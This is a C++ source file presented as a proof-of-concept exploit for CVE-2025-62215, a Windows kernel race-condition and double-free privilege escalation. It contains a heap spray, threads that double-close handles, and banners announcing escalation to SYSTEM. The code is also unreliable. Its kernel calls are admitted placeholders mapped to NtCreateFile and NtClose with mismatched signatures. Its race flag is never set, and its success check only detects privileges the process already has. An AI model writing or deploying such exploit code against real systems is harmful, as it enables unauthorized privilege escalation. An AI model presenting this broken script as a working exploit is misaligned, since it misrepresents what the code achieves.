/* * CVE-2025-62215 Proof-of-Concept Exploit * Windows Kernel Race Condition + Double-Free Privilege Escalation * * WARNING: FOR EDUCATIONAL AND AUTHORIZED TESTING ONLY */ #include #include #include #include #include #include #include #include // Kernel structure definitions (based on reverse engineering) typedef struct _KERNEL_OBJECT { PVOID ObjectHeader; ULONG ReferenceCount; PVOID SharedResource; HANDLE Handle; } KERNEL_OBJECT, *PKERNEL_OBJECT; // Global synchronization std::atomic g_race_condition_triggered(false); std::atomic g_exploit_success(false); std::atomic g_thread_count(0); // Function pointers for kernel operations typedef NTSTATUS (WINAPI *pNtCreateKernelObject)( PHANDLE ObjectHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG ObjectType ); typedef NTSTATUS (WINAPI *pNtCloseKernelObject)( HANDLE ObjectHandle ); typedef NTSTATUS (WINAPI *pNtDuplicateKernelObject)( HANDLE SourceHandle, PHANDLE TargetHandle ); // Get function pointers from ntdll HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); pNtCreateKernelObject NtCreateKernelObject = nullptr; pNtCloseKernelObject NtCloseKernelObject = nullptr; pNtDuplicateKernelObject NtDuplicateKernelObject = nullptr; // Initialize function pointers bool InitializeKernelFunctions() { if (!hNtdll) { std::cerr << "[!] Failed to load ntdll.dll" << std::endl; return false; } // Note: These are placeholder function names - actual exploit would use // undocumented syscalls or IOCTLs that trigger the vulnerable code path NtCreateKernelObject = (pNtCreateKernelObject)GetProcAddress(hNtdll, "NtCreateFile"); NtCloseKernelObject = (pNtCloseKernelObject)GetProcAddress(hNtdll, "NtClose"); if (!NtCreateKernelObject || !NtCloseKernelObject) { std::cerr << "[!] Failed to resolve kernel functions" << std::endl; return false; } return true; } // Thread function to trigger race condition DWORD WINAPI RaceConditionThread(LPVOID lpParam) { HANDLE* handles = (HANDLE*)lpParam; int thread_id = g_thread_count.fetch_add(1); std::cout << "[*] Thread " << thread_id << " started race condition attempt" << std::endl; // Create kernel object to trigger vulnerable code path HANDLE hObject = INVALID_HANDLE_VALUE; OBJECT_ATTRIBUTES objAttr; InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL); // Attempt to create and manipulate kernel objects rapidly // This simulates the race condition by having multiple threads // access the same kernel resource simultaneously for (int i = 0; i < 1000; i++) { // Create object NTSTATUS status = NtCreateKernelObject( &hObject, GENERIC_ALL, &objAttr, 0 ); if (NT_SUCCESS(status) && hObject != INVALID_HANDLE_VALUE) { // Rapidly close and recreate to trigger race condition NtCloseKernelObject(hObject); // Small delay to increase chance of race condition Sleep(0); // Attempt to use the handle after it might have been freed // This is where the double-free vulnerability occurs if (i % 10 == 0) { // Try to access the object again - this may trigger double-free // if another thread has already freed it NtCloseKernelObject(hObject); } } // Check if we've triggered the race condition if (g_race_condition_triggered.load()) { std::cout << "[+] Thread " << thread_id << " detected race condition!" << std::endl; break; } } return 0; } // Monitor thread to detect successful exploitation DWORD WINAPI MonitorThread(LPVOID lpParam) { std::cout << "[*] Monitor thread started" << std::endl; // Check current privileges HANDLE hToken; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { TOKEN_ELEVATION elevation; DWORD dwSize; if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) { if (elevation.TokenIsElevated) { std::cout << "[+] SUCCESS: Privilege escalation detected!" << std::endl; g_exploit_success.store(true); } } CloseHandle(hToken); } return 0; } // Heap spray to prepare memory layout for exploitation bool HeapSpray() { std::cout << "[*] Performing heap spray..." << std::endl; // Allocate multiple chunks to shape heap layout std::vector allocations; for (int i = 0; i < 100; i++) { PVOID ptr = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (ptr) { // Fill with pattern to detect corruption memset(ptr, 0x41 + (i % 26), 0x1000); allocations.push_back(ptr); } } std::cout << "[+] Allocated " << allocations.size() << " heap chunks" << std::endl; // Keep allocations alive Sleep(100); return allocations.size() > 0; } // Main exploit function bool ExploitRaceCondition() { std::cout << "[*] Starting CVE-2025-62215 exploitation..." << std::endl; std::cout << "[*] Target: Windows Kernel Race Condition + Double-Free" << std::endl; // Check if we're already running as SYSTEM if (IsUserAnAdmin()) { HANDLE hToken; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { TOKEN_ELEVATION elevation; DWORD dwSize; if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) { if (elevation.TokenIsElevated) { std::cout << "[!] Already running with elevated privileges" << std::endl; CloseHandle(hToken); return true; } } CloseHandle(hToken); } } // Initialize kernel function pointers if (!InitializeKernelFunctions()) { return false; } // Perform heap spray if (!HeapSpray()) { std::cerr << "[!] Heap spray failed" << std::endl; return false; } // Create multiple threads to trigger race condition const int NUM_THREADS = 8; HANDLE hThreads[NUM_THREADS]; HANDLE hObjects[NUM_THREADS]; std::cout << "[*] Spawning " << NUM_THREADS << " threads to trigger race condition..." << std::endl; // Create monitor thread HANDLE hMonitor = CreateThread(NULL, 0, MonitorThread, NULL, 0, NULL); // Create race condition threads for (int i = 0; i < NUM_THREADS; i++) { hThreads[i] = CreateThread( NULL, 0, RaceConditionThread, hObjects, 0, NULL ); if (!hThreads[i]) { std::cerr << "[!] Failed to create thread " << i << std::endl; continue; } // Stagger thread starts to increase race condition probability Sleep(1); } // Wait for threads to complete or exploit to succeed std::cout << "[*] Waiting for race condition..." << std::endl; DWORD waitResult = WaitForMultipleObjects( NUM_THREADS, hThreads, FALSE, 5000 // 5 second timeout ); // Give monitor thread time to check Sleep(1000); // Cleanup for (int i = 0; i < NUM_THREADS; i++) { if (hThreads[i]) { CloseHandle(hThreads[i]); } } if (hMonitor) { CloseHandle(hMonitor); } // Check if exploitation was successful if (g_exploit_success.load()) { std::cout << "[+] EXPLOITATION SUCCESSFUL!" << std::endl; std::cout << "[+] Privileges escalated to SYSTEM" << std::endl; return true; } else if (g_race_condition_triggered.load()) { std::cout << "[!] Race condition triggered but exploitation failed" << std::endl; std::cout << "[!] This may indicate:" << std::endl; std::cout << " - System is patched" << std::endl; std::cout << " - Exploit needs refinement" << std::endl; std::cout << " - Additional conditions not met" << std::endl; return false; } else { std::cout << "[!] Exploitation failed - race condition not triggered" << std::endl; return false; } } // Test mode - safer execution bool TestMode() { std::cout << "[*] Running in TEST mode (safer execution)" << std::endl; std::cout << "[*] This mode will not attempt full exploitation" << std::endl; // Just verify we can access kernel functions if (!InitializeKernelFunctions()) { return false; } std::cout << "[+] Kernel functions initialized successfully" << std::endl; std::cout << "[+] Test mode completed" << std::endl; return true; } int main(int argc, char* argv[]) { std::cout << "========================================" << std::endl; std::cout << "CVE-2025-62215 Proof-of-Concept Exploit" << std::endl; std::cout << "Windows Kernel EoP - Race Condition PoC" << std::endl; std::cout << "========================================" << std::endl; std::cout << std::endl; // Parse arguments bool test_mode = false; bool verbose = false; for (int i = 1; i < argc; i++) { std::string arg = argv[i]; if (arg == "--test" || arg == "-t") { test_mode = true; } else if (arg == "--verbose" || arg == "-v") { verbose = true; } else if (arg == "--help" || arg == "-h") { std::cout << "Usage: exploit.exe [options]" << std::endl; std::cout << "Options:" << std::endl; std::cout << " --test, -t Run in test mode (safer)" << std::endl; std::cout << " --verbose, -v Enable verbose output" << std::endl; std::cout << " --help, -h Show this help" << std::endl; return 0; } } if (test_mode) { return TestMode() ? 0 : 1; } // Display warning std::cout << "WARNING: This exploit may cause system instability!" << std::endl; std::cout << "Press Ctrl+C to cancel, or wait 3 seconds to continue..." << std::endl; Sleep(3000); // Run exploit bool success = ExploitRaceCondition(); if (success) { std::cout << std::endl; std::cout << "[+] Exploitation completed successfully" << std::endl; // Verify privileges if (IsUserAnAdmin()) { std::cout << "[+] Current user has administrator privileges" << std::endl; } return 0; } else { std::cout << std::endl; std::cout << "[!] Exploitation failed" << std::endl; return 1; } }